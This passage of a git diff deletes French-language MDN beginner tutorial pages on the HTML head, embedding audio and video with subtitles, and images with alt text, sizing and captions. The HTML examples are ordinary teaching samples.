<!-- troisième-génération iPad avec haute-résolution Retina display: -->
-<link rel="apple-touch-icon-precomposed" sizes="144x144" href="https://developer.cdn.mozilla.net/static/img/favicon144.a6e4162070f4.png">
-<!-- iPhone avec haute-résolution Retina display: -->
-<link rel="apple-touch-icon-precomposed" sizes="114x114" href="https://developer.cdn.mozilla.net/static/img/favicon114.0e9fabd44f85.png">
-<!-- iPad de première et deuxième génération : -->
-<link rel="apple-touch-icon-precomposed" sizes="72x72" href="https://developer.cdn.mozilla.net/static/img/favicon72.8ff9d87c82a0.png">
-<!-- iPhone non-Retina, iPod Touch et appareils Android 2.1+: -->
-<link rel="apple-touch-icon-precomposed" href="https://developer.cdn.mozilla.net/static/img/favicon57.a2490b9a2d76.png">
-<!-- favicône de base -->
-<link rel="shortcut icon" href="https://developer.cdn.mozilla.net/static/img/favicon32.e02854fdcf73.png">
- -

Les commentaires expliquent ce à quoi chaque icône est utilisée — ces éléments incluent des fonctionnalités telles que la fourniture d'une icône haute résolution à utiliser lorsque le site Web est enregistré sur l'écran d'accueil d'un iPad.

- -

Ne vous préoccupez pas de la mise en œuvre de tous ces types d'icônes maintenant — il s'agit d'une fonctionnalité assez avancée ; vous n'avez pas besoin de la connaître pour avancer dans le cours. Le but principal ici est de vous faire savoir à quoi elles ressemblent si vous les rencontriez en parcourant le code source d'autres sites web.

- -

Application des CSS et JavaScript au HTML

- -

À peu près tous les sites web que vous rencontrerez actuellement utiliseront des {{glossary("CSS")}} pour agrémenter leur aspect, et {{glossary("JavaScript")}} pour assurer les fonctionnalités interactives, telles que lecteurs vidéo, cartes géographiques, jeux et plus encore. Ceux-ci sont le plus souvent appliqués à une page web en utilisant respectivement les éléments {{htmlelement("link")}} et {{htmlelement("script")}}.

- - - -

Apprentissage actif : appliquer des CSS et du JavaScript à une page

- -
    -
  1. Pour commencer cet apprentissage actif, prenez une copie de nos fichiers meta-example.html, script.js et style.css , et enregistrez-les sur votre ordinateur dans un même répertoire. Assurez-vous qu'ils sont enregistrés avec les noms et les extensions de fichier corrects.
    2. -
  2. Ouvrez le fichier HTML à la fois dans votre navigateur et votre éditeur de texte.
    3. -
  3. En suivant les informations fournies ci-dessus, ajoutez les éléments {{htmlelement("link")}} et {{htmlelement("script")}} à votre HTML, afin que les CSS et le JavaScript soient appliqués au HTML.
    4. -
- -

Si a été fait correctement, après avoir enregistré le HTML, puis actualisé la page, vous verrez que les choses ont changé :

- -

Exemple montrant une page sur laquelle on a appliqué du CSS et du JavaScript. Le CSS a rendu la page verte, alors que le JavaScript a ajouté une liste dynamique à la page.

- - - -
-

Note : Si vous êtes coincé dans cet exercice et que vous ne pouvez pas obtenir le CSS / JS à appliquer, essayez de vérifier notre exemple de page css-and-js.html .

-
- -

Définition de la langue principale du document

- -

Enfin, il convient de mentionner que vous pouvez (et devrez vraiment) définir la langue de votre page. Cela peut être fait en ajoutant l'attribut lang à la balise ouvrante HTML (voir meta-example.html.)

- -
<html lang="fr">
- -

Ceci est utile de plusieurs façons. Votre document sera indexé plus efficacement par les moteurs de recherche si son langage est défini (ce qui lui permet d'apparaître correctement dans les résultats spécifiques à la langue, par exemple) et il est utile pour les personnes visuellement déficientes utilisant un lecteur d'écran (par exemple, le mot « six » existe en français et en anglais, mais se prononce différemment.)

- -

Vous pouvez également définir des sous-sections de votre document pour qu'elles soient reconnues comme étant en différentes langues. Par exemple, nous pourrions définir la partie en langue japonaise pour qu'elle soit reconnue comme telle, de la manière suivante :

- -
<p>Exemple en japonais : <span lang="jp">ご飯が熱い。</span>.</p>
- -

Ces codes sont définis par la norme ISO 639-1. Vous en trouverez plus sur Etiquettes langues en HTML et XML (en).

- -

Résumé

- -

Cela marque la fin de notre tour rapide de l'en-tête HTML — il y a beaucoup plus de possibilités ici, mais un panorama exhaustif serait ennuyeux et susceptible de vous embrouiller à ce stade, nous voulions simplement vous donner une idée des éléments les plus courants. Dans l'article suivant, nous allons étudier les fondamentaux du texte HTML.

- -

{{PreviousMenuNext("Apprendre/HTML/Introduction_à_HTML/Getting_started", "Apprendre/HTML/Introduction_à_HTML/HTML_text_fundamentals", "Apprendre/HTML/Introduction_à_HTML")}}

- -

Dans ce module

- - diff --git a/files/fr/apprendre/html/multimedia_and_embedding/contenu_audio_et_video/index.html b/files/fr/apprendre/html/multimedia_and_embedding/contenu_audio_et_video/index.html deleted file mode 100644 index deb09eb186..0000000000 --- a/files/fr/apprendre/html/multimedia_and_embedding/contenu_audio_et_video/index.html +++ /dev/null @@ -1,314 +0,0 @@ ---- -title: Contenu audio et vidéo -slug: Apprendre/HTML/Multimedia_and_embedding/Contenu_audio_et_video -tags: - - Article - - Audio - - Débutant - - Guide - - HTML - - Légendes - - Video - - pistes (audio ou texte) - - sous‑titres -translation_of: Learn/HTML/Multimedia_and_embedding/Video_and_audio_content ---- -
{{LearnSidebar}}
- -
{{PreviousMenuNext("Learn/HTML/Multimedia_and_embedding/Images_in_HTML", "Learn/HTML/Multimedia_and_embedding/Other_embedding_technologies", "Learn/HTML/Multimedia_and_embedding")}}
- -

Maintenant que nous sommes à l'aise pour ajouter de simples images dans une page web, nous passons à l'étape suivante : ajouter de la vidéo et un lecteur audio à vos documents HTML. Dans cet article, nous nous contenterons de le faire avec les éléments {{htmlelement("video")}} et {{htmlelement("audio")}}. Nous terminerons en apprenant comment ajouter des légendes et des sous-titres à vos vidéos.

- - - - - - - - - - - - -
Prérequis :Compétences informatiques de base,  installation des outils de base, bases de la manipulation des fichiers, connaissance des fondamentaux du HTML (comme expliqué dans  Commencer avec le HTML) et Images en HTML.
Objectifs :Apprendre à intégrer vidéos et audios dans une page web et y ajouter des légendes et des sous-titres.
- -

Audio et vidéo sur le web

- -

Les développeurs ont toujours voulu utiliser la vidéo et l'audio sur le web et ce, dès le début des années 2000, quand nous avons commencé à disposer d'une bande passante suffisamment rapide pour supporter toutes sortes de vidéos (les fichiers vidéo étant beaucoup plus lourds que du texte ou des images). Au départ, les technologies embarquées telles que HTML n'avaient pas la capacité d'intégrer de la vidéo ou de l'audio, donc, les solutions « propriétaires » (ou basées sur des greffons) comme Flash (puis, plus tard, Silverlight) sont devenues très populaires pour gérer ce type de contenu. Ces technologies fonctionnaient bien mais avaient de nombreux inconvénients, comme une relation aléatoire avec les fonctionnalités HTML/CSS, des problèmes de sécurité et d'accessibilité.

- -

Une solution embarquée devrait résoudre la plupart de ces problèmes. Heureusement, après quelques années, la spécification {{glossary("HTML5")}} apportait ces améliorations avec les éléments  {{htmlelement("video")}} et {{htmlelement("audio")}} et des {{Glossary("API","APIs")}}{{Glossary("JavaScript")}} flambants neufs pour les contrôler. Nous ne verrons pas JavaScript ici — nous poserons juste les fondamentaux qui peuvent être obtenus avec HTML.

- -

Nous ne vous apprendrons pas à produire des fichiers audio ou vidéo  — cela demande des compétences totalement différentes. Nous vous conseillons ce lien Github fichiers d'échantillons audio et vidéo et exemples de code pour votre expérience personnelle, au cas où vous ne pourriez pas y accéder par vous-même.

- -
-

Note : Avant de commencer, vous devez savoir qu'il existe un grand nombre de fournisseurs de vidéos en ligne {{glossary("OVP","OVPs")}} comme YouTube, Dailymotion, et Vimeo. Pour l'audio, voyez Soundcloud  par exemple. Ces sociétés offrent un moyen simple d'héberger et de consommer de la vidéo, donc, vous n'avez pas à vous soucier de l'énorme consommation de bande passante. Ils peuvent aussi vous proposer du code "tout-prêt" pour intégrer la vidéo/audio dans vos pages web. Si vous suivez cette procédure, vous vous éviterez quelqu'unes des difficultés abordées dans cet article. Nous parlerons en détails de ces services dans l'article suivant.

-
- -

L' élément <video>

- -

L'élément {{htmlelement("video")}} vous permet d'intégrer de la vidéo très facilement. En voici un exemple :

- -
<video src="rabbit320.webm" controls>
-  <p>Votre navigateur ne prend pas en charge les vidéos HTML5. Voici, à la place, un <a href="rabbit320.webm">lien sur la vidéo</a>.</p>
-</video>
- -

Les fonctionnalités de ce code sont :

- -
-
{{htmlattrxref("src","video")}}
-
De la même manière que pour l'élément {{htmlelement("img")}}, l'attribut src (source) contient le chemin vers la vidéo que vous voulez intégrer.  Cela fonctionne de la même manière.
-
{{htmlattrxref("controls","video")}}
-
Les utilisateurs doivent avoir un contrôle sur la lecture de la vidéo ou de l'audio. (c'est particulièrement crucial pour les gens ayant de l'épilepsie.) Vous devez vous servir de l'attribut  controls pour appeler l'interface de contrôle du navigateur ou construire votre propre interface en utilisant l'API JavaScript adéquat. Au minimum, l'interface doit avoir un contrôle de démarrage et d'arrêt (start/stop) du média et un pour ajuster le volume.
-
Le paragraphe dans la balise <video>
-
Cela peut s'appeler solution de repli ou contenu de secours (fallback content) — si le navigateur accédant à la page ne supporte pas l'élément <video> , cela offre un texte alternatif qui peut être ce que vous voulez ; dans ce cas nous avons mis un lien direct au fichier vidéo, afin que l'utilisateur puisse au moins y accéder sans avoir à se soucier du navigateur qu'il utilise.
-
- -

La vidéo intégrée donnerait quelque chose comme ça :

- -

A simple video player showing a video of a small white rabbit

- -

Faites un essai avec l'exemple ici. (voyez aussi le code source.)

- -

Gestion de différents formats

- -

Il y a un problème avec l'exemple au-dessus que vous avez dû rencontrer si vous avez accédé au lien « exemple ici » avec un navigateur comme Safari ou Internet Explorer. La vidéo ne se lancera pas ! Ceci parce que les navigateurs acceptent des formats différents de video et d'audio.

- -

Voyons-en rapidement la terminologie. Les formats comme le MP3, MP4 et le WebM sont appelés des formats conteneurs. Ils contiennent plusieurs parties qui, ensemble, donnent l'intégralité de la chanson ou de la vidéo — comme une piste audio, une piste vidéo et les métadonnées qui décrivent le média qui est lu.

- -

Les pistes audio et vidéo sont aussi de différents formats, par exemple :

- - - -

Un lecteur audio peut jouer directement une piste audio, par ex. un fichier MP3 ou Ogg. Elles ne nécessitent pas de conteneur.

- -
-

Note : Ce n'est pas si simple, comme vous pouvez le voir dans le tableau de compatibilité des codecs audio-vidéo. En outre, de nombreux navigateurs de plateforme mobile peuvent lire un format non pris en charge en le transférant au lecteur multimédia du système sous-jacent. Mais pour l'instant nous nous contenterons de ce qui précède.

-
- -

Les formats ci-dessus ont été créés pour compresser la vidéo et l'audio dans des fichiers gérables (les fichiers vidéo et audio bruts sont très volumineux). Les navigateurs contiennent différents {{Glossary("Codec","Codecs")}}, comme Vorbis ou H.264, utilisés pour convertir le son et la vidéo compressés en binaire et inversement. Comme indiqué ci-dessus, les navigateurs ne supportent malheureusement pas tous les mêmes codecs, vous devrez donc fournir plusieurs fichiers pour chaque production de média. S'il vous manque le bon codec pour décoder le média, il ne pourra pas être lu.

- -

 

- -
-

Note : Vous êtes peut-être surpris de l'existence d'une telle situation. Les formats MP3 (pour l'audio) et MP4/H.264 (pour la vidéo) sont tous deux largement pris en charge et de bonne qualité. Cependant, ils sont également grevés de brevets — les brevets américains couvrent le MP3 jusqu'en 2017 au moins et le H.264 jusqu'en 2027 au plus tôt, ce qui signifie que les navigateurs ne détenant pas de licence doivent payer d'énormes sommes d'argent pour pouvoir utiliser ces formats. En outre, beaucoup de personnes évitent, par principe, les logiciels propriétaires et leur préférent des formats ouverts. C'est pourquoi nous devons fournir plusieurs formats pour une prise en charge par différents navigateurs.

- -

 

-
- -

Alors, comment faire ? Jetez un coup d'œil à l'exemple qui suit, mis à jour, (essayez-le directement ici aussi) :

- -
<video controls>
-  <source src="rabbit320.mp4" type="video/mp4">
-  <source src="rabbit320.webm" type="video/webm">
-  <p>Votre navigateur ne prend pas en charge les vidéos HTML5. Voici, à la place, un <a href="rabbit320.mp4">lien sur la vidéo</a>.</p>
-</video>
- -

Ici, nous avons retiré l'attribut src de la balise <video> et inclus des éléments {{htmlelement("source")}} séparés qui pointent vers des sources appropriées. Dans ce cas, le navigateur parcourra les éléments <source> et jouera le premier dont il peut prendre en charge le codec. Inclure des sources WebM et MP4 devraient suffire pour lire votre vidéo sur la plupart des plateformes et navigateurs de nos jours.

- -

Chaque élément <source> possède également un attribut de type. C'est facultatif, mais il est conseillé de les inclure — ils contiennent le type {{glossary("MIME type","MIME")}} des fichiers vidéo, et les navigateurs peuvent le lire et sauter immédiatement les vidéos qu'ils ne comprennent pas. Si le type n'est pas indiqué, le navigateur va charger et essayer de lire chaque fichier jusqu'à ce qu'il en trouve un qu'il prenne en charge, ce qui demande du temps et des ressources.

- -

 

- -
-

Note : L'article sur les formats média pris en charge contient quelques types {{glossary("MIME type","MIME")}} courants.

-
- -

Autres fonctionnalités de <video>

- -

Il y a possibilité d'inclure d'autres fonctionnalités dans une vidéo HTML5. Regardez notre troisième exemple :

- -
<video controls width="400" height="400"
-       autoplay loop muted
-       poster="poster.png">
-  <source src="rabbit320.mp4" type="video/mp4">
-  <source src="rabbit320.webm" type="video/webm">
-  <p>Votre navigateur ne prend pas en charge les vidéos HTML5. Voici, à la place, un <a href="rabbit320.mp4">lien à la vidéo</a>.</p>
-</video>
-
- -

Cela produit une sortie du type suivant :

- -

A video player showing a poster image before it plays. The poster image says HTML5 video example, OMG hell yeah!

- -

Voici les nouvelles fonctionnalités :

- -
-
{{htmlattrxref("width","video")}} et {{htmlattrxref("height","video")}}
-
Il est possible de contrôler la taille de la vidéo soit avec ces attributs, soit avec le {{Glossary("CSS")}}. Dans les deux cas, les vidéos conservent le rapport largeur‑hauteur natif — désigné sous le vocable rapport de proportions. Si ce dernier ne correspond pas aux tailles indiquées, la vidéo occupera tout l'espace horizontal et l'espace non rempli sera de la couleur d'arrière plan unie par défaut.
-
{{htmlattrxref("autoplay","video")}}
-
Cet attribut permet de lancer immédiatement la lecture de l'audio ou de la vidéo pendant que le reste de la page se charge. Nous vous déconseillons d'utiliser la lecture automatique de vidéos (ou audio) sur vos sites, car les utilisateurs peuvent trouver cela vraiment ennuyeux.
-
{{htmlattrxref("loop","video")}}
-
Cet attribut permet de relancer en boucle la lecture de la vidéo (ou de l'audio). Cette façon de procéder pouvant être mal perçue, ne l'utilisez que si c'est vraiment nécessaire.
-
{{htmlattrxref("muted","video")}}
-
Cet attribut coupe le son de la vidéo par défaut.
-
{{htmlattrxref("poster","video")}}
-
Cet attribut prend comme valeur l'URL d'une image affichée avant la lecture de la vidéo. Il s'utilise en tant que logo de démarrage ou de publicité.
-
{{htmlattrxref("preload","video")}}
-
-

Cet attribut s'utilise pour mettre en tampon les gros fichiers. Il peut prendre 3 valeurs :

- -
    -
  • "none" : ne pas mettre le fichier dans un tampon
    • -
  • "auto" : mettre le fichier média dans un tampon
    • -
  • "metadata" : ne mettre que les métadonnées dans le tampon
    • -
-
-
- -

Vous trouverez cet exemple prêt pour l'interprétation sur Github ( voir aussi le  code source). Notez que nous n'avons pas inséré l'attribut autoplay dans la version en direct — si la vidéo débute dès le chargement de la page, vous ne pourrez pas voir le poster !

- -

L'élément  <audio>

- -

L'élément {{htmlelement("audio")}} fonctionne exactement de la même manière que l'élément {{htmlelement("video")}}, mais avec quelques menues différences décrites plus bas. Un exemple classique ressemble à ceci :

- -
<audio controls>
-  <source src="viper.mp3" type="audio/mp3">
-  <source src="viper.ogg" type="audio/ogg">
-  <p>Votre navigateur ne prend pas en charge l'audio HTML5. Voici, à la place, un <a href="viper.mp3">lien sur l'audio</a>.</p>
-</audio>
- -

Vous verrez quelque chose de ce genre dans un navigateur :

- -

A simple audio player with a play button, timer, volume control, and progress bar

- -
-

Note: Vous pouver lancer la démo de l'audio en direct sur Github (voir aussi le code source de l'interpréteur.)

-
- -

Cela prend moins de place qu'une vidéo, et il n'y a pas de composante visuelle — il est juste nécessaire d'afficher les contrôles de lecture de l'audio. Voici les autres différences avec les vidéos HTML5 :

- - - -

Excepté ce qui précéde, <audio> accepte les mêmes fonctionnalités que <video> — revoyez les sections ci-desssus pour plus d'informations à ce propos.

- -

Afficher du texte dans une vidéo

- -

Nous allons maintenant parler d'un concept un peu plus avancé vraiment utile à connaître. Beaucoup de gens ne peuvent pas ou ne veulent pas entendre le contenu audio/vidéo qu'ils trouvent sur le Web, du moins à certains moments. Par exemple :

- - - -

Ne serait-il pas agréable de pouvoir fournir à ces personnes la transcription des paroles prononcés dans l'audio ou la vidéo ? Eh bien, avec des vidéos HTML5 vous le pouvez, à l'aide du format WebVTT et de l'élément {{htmlelement("track")}}.

- -
-

Note : « Transcrire » signifie écrire des paroles sous forme de texte, et « transcription » est l'action correspondante.

-
- -

WebVTT est un format d'écriture de fichiers texte ; il contient nombre de chaînes de texte avec des métadonnées comme l'instant dans la vidéo où vous souhaitez l'affichage du texte, et même une information succinte sur le style et la position de celui‑ci. Ces chaînes textuelles sont appelées des marqueurs, les plus courants étant :

- -
-
les sous‑titres (subtitles)
-
Traductions d'éléments d'une langue étrangère pour les personnes ne comprenant pas les paroles de l'audio.
-
les légendes (captions) 
-
Transcriptions synchrones de dialogues ou de descriptions de sons significatifs, pour permettre aux personnes ne pouvant entendre le son de comprendre ce qui se passe.
-
les descriptions programmées (descriptions) 
-
Textes convertis en audio, pour aider les personnes avec des défauts de vision.
-
- -

Un fichier WebVTT typique ressemblera à :

- -
WEBVTT
-
-1
-00:00:22.230 --> 00:00:24.606
-Ceci est le premier sous‑titre.
-
-2
-00:00:30.739 --> 00:00:34.074
-Ceci est le deuxième.
-
-  ...
-
- -

Pour qu'il soit affiché avec la diffusion du média HTML, il faut :

- -
    -
  1. Enregistrer le fichier avec l'extension .vtt dans un endroit sensé.
    2. -
  2. Lier le fichier .vtt avec l'élément {{htmlelement("track")}}. <track> doit être placé entre les balises <audio> ou <video>, mais après tous les éléments <source>. Utilisez l'attribut {{htmlattrxref("kind","track")}} pour préciser si les marqueurs sont  subtitles, captions ou descriptions. Plus loin, utilisez l'attribut {{htmlattrxref("srclang","track")}} pour indiquer au navigateur la langue dans laquelle sont écrit les sous‑titres.
    3. -
- -

Voici un exemple :

- -
<video controls>
-    <source src="example.mp4" type="video/mp4">
-    <source src="example.webm" type="video/webm">
-    <track kind="subtitles" src="subtitles_en.vtt" srclang="en">
-</video>
- -

Il en résultera une vidéo dont les sous-titres seront affichés un peu comme ceci :

- -

Video player with stand controls such as play, stop, volume, and captions on and off. The video playing shows a scene of a man holding a spear-like weapon, and a caption reads "Esta hoja tiene pasado oscuro."

- -

Pour plus de détails, lisez Ajouter des légendes et des sous‑titres aux vidéos HTML5. Vous trouverez un exemple, écrit par Ian Devlin, accompagnant cet article sur Github (voyez le code source aussi). Cet exemple utilise un peu de JavaScript pour permettre à l'utilisateur de choisir entre différents sous‑titres. Notez que pour activer les sous‑titres, vous devez presser le bouton « CC » et selectionner une option — English, Deutsch ou Español. 

- -
-

Note : Les pistes texte peuvent aussi vous aider avec {{glossary("SEO")}}, car les moteurs de recherche sont très performants sur le texte. Les pistes textes permettent aussi aux moteurs de recherche de faire un lien direct à un point particulier de la vidéo.

-
- -

Apprentissage interactif : intégrer vos propres vidéos et audios

- -

Pour cet exercice, nous aimerions (idéalement) que vous partiez « dans le monde » pour enregistrer vos propres vidéos et pistes audio — la plupart des téléphones actuels vous permettent facilement de le faire, et, à condition que vous puissiez le transférer sur l'ordinateur, vous pouvez l'utiliser. Vous allez devoir convertir dans les formats adaptés, WebM et MP4 pour la vidéo,  MP3 et Ogg pour l'audio. Il y a de nombreux progammes vous permettant de faire ça sans difficulté comme Miro Video Converter et Audacity. Nous aimerions que vous essayiez !

- -

Si vous ne pouvez enregistrer ni vidéo ni audio, alors, n'hésitez pas à vous servir de nos  échantillons audio et vidéo pour réaliser cet exercice. Vous pouvez aussi utiliser notre échantillon-code de référence.

- -

Il vous faudra :

- -
    -
  1. Préserver vos fichiers audio et vidéo dans un nouveau dossier sur votre ordinateur.
    2. -
  2. Créer un nouveau fichier HTML dans le même répertoire nommé :  index.html.
    3. -
  3. Ajouter des éléments  <audio> et  <video> dans la page; faire en sorte qu'ils affichent les contrôles par défaut du navigateur.
    4. -
  4. Leur attribuer (aux deux) des éléments <source> que le navigateur puisse trouver le meilleur format audio et le charger. N'oubliez pas d'inclure les attributs  type.
    5. -
  5. Donner à l'élément <video> une image qui sera affichée avant que la vidéo ne démarre. Amusez-vous à créer votre propre visuel de l'affiche.
    6. -
- -

En bonus, vous pouvez chercher des textes à intégrer et ajouter des légendes à vos vidéos.

- -

Résumé

- -

Emballez, c'est pesé ! Nous espérons que vous avez pris plaisir avec ces pages vidéo et audio. Au chapitre suivant, nous découvrirons des manières différentes d'intégrer du contenu sur le Web en se servant de technologies comme {{htmlelement("iframe")}} et {{htmlelement("object")}}.

- -

Consultez aussi :

- - - -

{{PreviousMenuNext("Learn/HTML/Multimedia_and_embedding/Images_in_HTML", "Learn/HTML/Multimedia_and_embedding/Other_embedding_technologies", "Learn/HTML/Multimedia_and_embedding")}}

- -

 

- -

Contenu du module :

- - - -

 

- -
-
- - diff --git a/files/fr/apprendre/html/multimedia_and_embedding/images_in_html/index.html b/files/fr/apprendre/html/multimedia_and_embedding/images_in_html/index.html deleted file mode 100644 index ff8adaf25c..0000000000 --- a/files/fr/apprendre/html/multimedia_and_embedding/images_in_html/index.html +++ /dev/null @@ -1,523 +0,0 @@ ---- -title: Les images en HTML -slug: Apprendre/HTML/Multimedia_and_embedding/Images_in_HTML -tags: - - Débutant - - Guide - - HTML - - Image - - Title - - alt text - - figcaption - - figure - - img - - src -translation_of: Learn/HTML/Multimedia_and_embedding/Images_in_HTML ---- -
{{LearnSidebar}}
- -
{{NextMenu("Learn/HTML/Multimedia_and_embedding/Video_and_audio_content", "Learn/HTML/Multimedia_and_embedding")}}
- -

Au début, le Web n'était que du texte, ce qui était un peu ennuyeux. Heureusement, il n'a pas fallu longtemps pour que la possibilité d'intégrer des images ( et d'autres types de contenu intéressants) dans une page web soit ajoutée.  Bien qu'il y ait plusieurs types de contenu multimedia, il est logique de commencer avec l'humble élément {{htmlelement("img")}},  utilisé pour intégrer une image dans une page web. Dans cet article, nous approfondirons son utilisation en abordant les principes fondamentaux, l'annotation par légendes utilisant {{htmlelement("figure")}}, et en analysant sa relation avec les images d'arrière-plan du {{glossary("CSS")}} .

- - - - - - - - - - - - -
Prérequis :Notions élémentaires en informatique, installation des outils de base, bases  de la manipulation des fichiers, fondamentaux du HTML (comme décrit dans  Commencer avec le Web).
Objectifs :Apprendre à intégrer des images simples en HTML, à les légender d'un intitulé, et à mettre en relation ces images HTML avec les images d'arrière-plan du CSS.
- -

Comment intégrer une image à une page web ?

- -

Pour mettre une image simple sur une page web, nous utiliserons l'élément {{htmlelement("img")}}.  C'est un {{glossary("empty element","élément vide")}} (ce qui signifie qu'il ne contient ni texte ni balise de fermeture) qui demande au moins un attribut pour fonctionner — src (souvent appelé par son nom entier:  source). L'attribut src contient un chemin pointant vers l'image que vous voulez intégrer, qui peut être une URL absolue ou relative, de la même manière que l'élément  {{htmlelement("a")}}  href= attribue des valeurs.

- -
-

Note: Vous devriez lire  Une brève présentation des URL et des chemins  pour vous rafraîchir la mémoire avant de continuer.

-
- -

Donc, par exemple, si votre image s'appelle dinosaur.jpg, et qu'elle est située dans le même répertoire que votre page HTML, vous pouvez intégrer cette image comme ceci (URL relative) :

- -
<img src="dinosaur.jpg">
- -

Et si cette image se trouve dans un sous-répertoire images situé dans le même dossier que la page HTML (ce que Google recommande pour  {{glossary("SEO")}}/dans un but d'indexation et d'optimisation de la recherche), alors vous l'intégrerez comme ceci :

- -
<img src="images/dinosaur.jpg">
- -

Ainsi de suite.

- -
-

Note: Les moteurs de recherche lisent aussi les noms de fichiers image et s'en servent pour optimiser la recherche. Donc, donnez à vos images des noms de fichiers descritifs et qui ont du sens. dinosaur.jpg est infiniment mieux que img835.png.

-
- -

Vous pouvez intégrer l'image en utilisant son URL absolue, par exemple :

- -
<img src="https://www.example.com/images/dinosaur.jpg">
- -

Ce n'est pas trés efficace, cela fait travailler le navigateur plus qu'il ne devrait, il cherche l'adresse IP depuis le serveur DNS à chaque fois etc... Vous devriez autant que possible garder vos images du site sur le même serveur que la page HTML.

- -
-

Attention ! : La plupart des images ont des droits d'auteur. N'affichez jamais une image sur votre site à moins que :
-
- 1) Ce soit votre image (vous en êtes le créateur),
- 2) vous ayez reçu une permission explicite et écrite du propriètaire de l'image ou,
- 3) que vous ayez une preuve indiscutable que cette image appartient au domaine public.
-
- Les violations des lois sur les droits d'auteur sont non seulement illégales mais aussi non-éthiques. De plus, ne faites jamais pointer votre attribut src vers une image hébergée sur le site de quelqu'un d'autre sans en avoir l'autorisation. Cela s'appelle du "hotlinking". Souvenez-vous que voler de la bande passante à quelqu'un est aussi illégal. Cela ralentit aussi votre page et vous laisse sans contrôle si l'image est enlevée ou remplacée par une autre plus gênante...

-
- -

Le code au-dessus vous donnera, à peu prés, le résultat suivant :

- -

A basic image of a dinosaur, embedded in a browser, with "Images in HTML" written above it

- -
-

Note: Les éléments comme {{htmlelement("img")}} et {{htmlelement("video")}} sont souvent désignés comme des éléments "remplacés". C'est parce que le contenu et la taille de ces éléments sont définies par une ressource externe (comme un fichier image ou video), pas par le contenu de l'élément lui-même.

-
- -
-

Note: Vous trouverez les exemples finis de cette section sur Github (regardez aussi le  code source .)

-
- -

Texte alternatif

- -

Le prochain attribut que nous allons étudier est alt. Sa valeur est supposée être un descriptif sous forme de texte de l'image, à utiliser dans les cas où l'image ne peut être affichée. Exemple : le code au-dessus pourrait être modifié de cette manière :

- -
<img src="images/dinosaur.jpg"
-     alt="The head and torso of a dinosaur skeleton;
-          it has a large head with long sharp teeth">
- -

La manière la plus simple de tester votre texte alt est de mal épeler votre nom de fichier intentionnellement. Si dans l'exemple, la photo était épelée dinosooooor.jpg, le navigateur ne l'afficherait pas mais afficherait le texte alt à la place :

- -

The Images in HTML title, but this time the dinosaur image is not displayed, and alt text is in its place.

- -

Pourquoi vous verrez partout du texte alt ? Vous en aurez besoin car c'est très pratique en maintes occasions :

- - - -

Que devriez-vous noter dans vos attributs alt ? En premier lieu, cela dépend de la raison pour laquelle cette image se trouve là. En d'autres mots, ce que vous perdriez si cette image ne s'affichait pas :

- - - -

Le but est de livrer essentiellement une expérience de qualité, même quand les images ne peuvent être vues. Cela assure à tous les utilisateurs de ne rien manquer du contenu. Essayez de ne pas afficher les images dans votre navigateur et regardez ce qu'il se passe. Vous allez vite réaliser que le texte fourni à la place est réellement utile.

- -
-

Note: Pour plus d'informations, voyez notre guide  Textes Alternatifs

-
- -

Largeur et hauteur (width-height)

- -

Vous pouvez vous servir des attributs  width et height pour spécifier la largeur et la hauteur de votre image. Vous pouvez trouver la largeur et la hauteur de différentes manières. Sur Mac, par exemple, vous pouvez utiliser   Cmd + I pour afficher l'info relative au fichier image. Pour revenir à notre exemple, nous pourrions faire ceci :

- -
<img src="images/dinosaur.jpg"
-     alt="The head and torso of a dinosaur skeleton;
-          it has a large head with long sharp teeth"
-     width="400"
-     height="341">
- -

Cela ne fait pas grande différence à l'affichage dans des circonstances normales. Mais, si l'image n'est pas affichée, disons que l'utilisateur est juste arrivé sur la page et qu'elle n'est pas encore chargée, vous remarquerez que le navigateur laisse un espace pour qu'elle y apparaisse :

- -

The Images in HTML title, with dinosaur alt text, displayed inside a large box that results from width and height settings

- -

C'est une bonne pratique, cela donne une page se chargeant plus rapidement et en douceur.

- -

De toutes manières, vous ne devez pas altérer la taille de vos images avec les attributs  HTML . Si vous réglez la taille de l'image trop grande, vous aurez un résultat avec beaucoup de "grain", flou ou trop petit et vous dépensez de la bande passante en téléchargeant une image qui ne convient pas aux besoins de l'utilisateur.  Votre image peut aussi sortir distordue, si vous n'en maintenez pas le bon  Format d'image. Vous devriez utiliser un éditeur d'images pour la mettre à la bonne taille avant de la mettre dans votre page web.

- -
-

Note: Si vous devez absolument modifier une taille d' image, vous devriez vous servir de  CSS .

-
- -

Titre d'images

- -

Comme décrit dans le chapitre  Création d'hyperliens , vous pouvez aussi ajouter un attribut title aux images, pour fournir un supplément d'information si nécessaire. Dans notre exemple, nous pourrions faire ceci :

- -
<img src="images/dinosaur.jpg"
-     alt="The head and torso of a dinosaur skeleton;
-          it has a large head with long sharp teeth"
-     width="400"
-     height="341"
-     title="A T-Rex on display in the Manchester University Museum">
- -

Cela donne une info-bulle avec le texte entré dans l'attribut title :

- -

The dinosaur image, with a tooltip title on top of it that reads A T-Rex on display at the Manchester University Museum

- -

Il n'est pas essentiel d'inclure des informations dans les images. Il est souvent préférable d'écrire ces informations dans le texte principal plutôt qu'attaché à l'image. Ils peuvent être très utile dans d'autres circonstances, par exemple dans une galerie d'images où vous n'avez pas de place pour les légendes.

- -

Pédagogie active : incorporer une image

- -

À vous de jouer maintenant ! Cette section dédiée à l'apprentissage interactif va vous tenir en haleine avec un simple exercice d'intégration d'image. Vous allez un peu travailler l'anglais aussi. Il vous est fourni une étiquette basique {{htmlelement("img")}} ; Il va vous falloir incorporer l'image située à l'URL suivante :

- -

https://raw.githubusercontent.com/mdn/learning-area/master/html/multimedia-and-embedding/images-in-html/dinosaur_small.jpg

- -

Nous avons dit plus tôt de ne jamais faire de "hotlinking" sur d'autres serveurs mais c'est ici dans un but d'apprentissage, donc on oublie ça pour cette fois.

- -

Nous avons encore quelques petites choses pour vous :

- - - -

Si vous faites une erreur, vous pouvez toujours remettre à zéro en utilisant le bouton  Reset .  Si vous êtes vraiment bloqué, regardez la réponse en cliquant le bouton Show solution :

- - - -

{{ EmbedLiveSample('Playable_code', 700, 350, "", "", "hide-codepen-jsfiddle") }}

- - - -

Légender des images avec figure et figcaption

- -

En parlant de légendes, il y a de nombreuses manières d'en ajouter qui ira avec votre image. Par exemple, rien ne vous empêche de faire ceci :

- -
<div class="figure">
-  <img src="images/dinosaur.jpg"
-       alt="The head and torso of a dinosaur skeleton;
-            it has a large head with long sharp teeth"
-       width="400"
-       height="341">
-
-  <p>A T-Rex on display in the Manchester University Museum.</p>
-</div>
- -

